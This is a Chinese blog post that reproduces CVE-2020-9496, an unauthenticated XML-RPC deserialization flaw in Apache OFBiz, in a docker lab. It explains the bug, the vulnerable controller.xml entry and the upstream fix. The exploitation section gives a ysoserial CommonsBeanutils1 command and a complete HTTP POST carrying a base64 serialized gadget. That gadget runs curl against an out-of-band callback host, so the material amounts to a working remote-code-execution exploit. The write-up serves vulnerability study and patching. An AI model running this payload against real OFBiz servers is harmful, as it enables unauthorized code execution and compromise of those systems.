首页 > 其他分享 >Apache Ofbiz CVE-2020-9496

Apache Ofbiz CVE-2020-9496

时间:2024-02-06 22:34:06浏览次数:39  
标签:XML RPC 2020 https 8443 Apache CVE ofbiz

ofbiz官网:https://ofbiz.apache.org/
比较好的参考文章:
https://blog.csdn.net/weixin_45728976/article/details/108872281

影响版本

Apache Ofbiz:< 17.12.04

漏洞原理:

访问未授权的XML-RPC接口,构造XML-RPC协议请求格式,利用XML-RPC协议进行反序列化

XML-RPC介绍:

XML-RPC(XML Remote Procedure Call)是一种远程过程调用协议,它使用XML来编码和解码方法调用和响应。XML-RPC 允许在不同计算机之间通过HTTP协议或其他传输方式进行通信,从而实现远程方法调用。XML-RPC的目标是使不同编程语言和不同平台之间的通信变得简单和标准化。
XML-RPC 的基本原理包括以下几个方面:
方法调用:客户端通过构造一个XML-RPC请求,其中包括要调用的方法名称和方法参数,然后将请求发送给服务器。
XML编码:请求和响应数据被编码为XML格式,这使得数据可以在不同系统之间进行传输和解析。
方法执行:服务器接收到请求后,解析XML数据,执行相应的方法,并生成XML-RPC响应。
XML解码:响应数据被解码为XML格式,以便客户端可以提取所需的结果。
结果返回:服务器将XML-RPC响应发送回客户端,客户端解码响应并提取方法执行的结果。

漏洞搭建:

下载后idea导入,启动
image.png

docker环境:

docker pull andyjunghans/ofbiz
docker run -p 8080:8080 -p 8443:8443 andyjunghans/ofbiz

启动后,可以访问ofbiz主页:https://localhost:8443/myportal/control/main

漏洞利用:

漏洞url为:https://localhost:8443/webtools/control/xmlrpc
在 OfBiz 中存在 CommonsBeanutils1 利用链,然后生成反序列化数据并 base64 编码:

java -jar ysoserial-0.0.8-SNAPSHOT-all.jar  CommonsBeanutils1   "curl http://RCE.bgkjco.dnslog.cn" | base64 |  tr -d '\n'

以下是发送数据包,反序列化数据写在标签里

POST /webtools/control/xmlrpc HTTP/1.1
Host: localhost:8443
Connection: close
Content-Type: application/xml
Content-Length: 4117

<?xml version="1.0"?>
<methodCall>
  <methodName>22</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>22</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAAAgzK/rq+AAAAMwAcAQAaeXNvc2VyaWFsL1B3bmVyMzA3MzUwNTAzMzIHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAFVB3bmVyMzA3MzUwNTAzMzIuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BADhjdXJsIGh0dHA6Ly85anRweHdrdWNpenRkem5pNzdrcnN4ZHF6aDU4dHlobi5vYXN0aWZ5LmNvbQgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQANU3RhY2tNYXBUYWJsZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHABcBAAY8aW5pdD4MABkACAoAGAAaACEAAgAYAAAAAAACAAgABwAIAAEACQAAACQAAwACAAAAD6cAAwFMuAAPEhG2ABVXsQAAAAEAFgAAAAMAAQMAAQAZAAgAAQAJAAAAEQABAAEAAAAFKrcAG7EAAAAAAAEABQAAAAIABnVxAH4AEAAAAdTK/rq+AAAAMgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAuAA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4cQB+AA14</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

漏洞产生:

定义xmlrpc的配置webapp/webtools/WEB-INF/controller.xml中,没有设置对应的auth选项,默认为false,导致不需要身份验证访问,这也是之后修复的一个点

<request-map uri="xmlrpc" track-serverhit="false" track-visit="false">
    <security https="false"/>
    <event type="xmlrpc"/>
    <response name="error" type="none"/>
    <response name="success" type="none"/>
</request-map>

版本修复

Fixed: Apache OFBiz unsafe deserialization of XMLRPC arguments
https://github.com/apache/ofbiz-framework/commit/4bdfb54ffb6e05215dd826ca2902c3e31420287a#diff-b31806fbf9690361ad449e8f263345d8

直接在controller.xml配置auth选项为true,此时xmlrpc则需要授权访问。

标签:XML,RPC,2020,https,8443,Apache,CVE,ofbiz
From: https://www.cnblogs.com/yyhuni/p/18010378

相关文章

  • Apache Ofbiz CVE-2021-26295分析
    漏洞影响版本:apache:ofbiz<17.12.06补丁代码:https://github.com/apache/ofbiz-framework/commit/af9ed4e/漏洞触发路径:https://ip:8443/webtools/control/SOAPService漏洞复现环境搭建:dockerpullandyjunghans/ofbizdockerrun-p8080:8080-p8443:8443andyjunghans/of......
  • [ACTF新生赛2020]明文攻击
    [ACTF新生赛2020]明文攻击附件里有1个压缩包和1张图片,由于题目提示是明文攻击,所以需要找和压缩包中相同的文件在图片里发现flag.txt,需要把它分离出来但是直接放到kali里,无论是binwalk还是foremost都分离失败,回头来看010,发现压缩包文件头被修改过,故修改回来此时正常分离出......
  • [BJDCTF2020]ZJCTF,不过如此
    [BJDCTF2020]ZJCTF,不过如此代码审计,在符合if的条件后,我们可以通过include函数包含想要查看的文件因此,首先需要传入两个参数text和file:text参数必须不为空,内容需要为Ihaveadream,file参数的内容则在后面的注释里提示我们为next.php,并且file参数里面不能包含/flag/,否则程序会......
  • 2019-2020 ICPC Northwestern European Regional Programming Contest (NWERC 2019)
    Preface由于前两天疑似感染风寒,今天头痛+鼻塞+咽炎一条龙,硬打了4h顶不住就下班了最后过了8个题也还行,比较可惜的就是H题从中期写到结束,祁神和徐神各写了一个version也没过A.AverageRank挺有意思的一个题考虑将一个原来分数为\(x\)的人加\(1\)分后会发生什么,显然只有原来分......
  • 解决apache-tomcat安装成功之后运行startup.bat之后闪退
    一:概述通过startup.bat启动的流程是:startup->catalia->setclasspath->cataline,如果这3个bat文件里面有一个出现错误的话就是启动失败,为了找到一闪而过的原因,需要了解这三个bat文件里面是什么。二:具体说明<1>由于JDK环境变量配置错误tomcat在启动时,会读取环境变量的信息,需要一个CAT......
  • apache如何配置统一请求随机转发到不同服务
    ApacheHTTP服务器可以使用mod_proxy和mod_proxy_balancer模块来配置统一请求随机转发到不同的后端服务。这里提供一个基本的配置示例,展示如何实现随机负载均衡。首先,确保你的Apache服务器已经安装了mod_proxy和mod_proxy_balancer模块。在大多数Linux发行版中,这些模块默认是安装......
  • apache如何实现只转发到正常运行的服务
    要实现Apache只转发请求到正常运行的服务,可以通过使用mod_proxy和mod_proxy_balancer模块的健康检查(HealthCheck)功能来完成。这将允许Apache周期性地检查后端服务的健康状况,并仅将请求转发到那些响应正常的服务。下面是如何配置Apache以实现此功能的步骤:1.启用必要的模块:首先,确......
  • 云小课|Runc容器逃逸漏洞(CVE-2024-21626)安全风险通告
    阅识风云是华为云信息大咖,擅长将复杂信息多元化呈现,其出品的一张图(云图说)、深入浅出的博文(云小课)或短视频(云视厅)总有一款能让您快速上手华为云。更多精彩内容请单击此处。runc官方发布安全公告,披露runc1.1.11及更早版本中存在容器逃逸漏洞,攻击者会利用该漏洞导致容器逃逸......
  • 实现前端调度器nginx收到请求,调度到后端Apache、实现动静分离
    一、Apache服务器上安装httpdyuminstallhttpd-y二、生成包含IP地址的新页面echo192.168.1.4>/var/www/html/index.html三、开启服务,并设置为开机自启动systemctlstarthttpdsystemctlenablehttpd四、测试访问本机IP地址[17:13:26root@apache~]#curl192.......
  • 2020-2021 ICPC East Central North America Regional Contest (ECNA 2020)
    Preface队友C麻了我直接3h下班雀魂启动,如果时间多点感觉还有AK希望不过不得不说北美场难度都集中在模拟题上了,一般压轴都是数学或者几何,而这类题目遇到徐神祁神就是洒洒水了A.AllintheFamily出题人真是丧心病狂,不过这题只是看起来恶心实际写起来感觉还好做法本身由于树......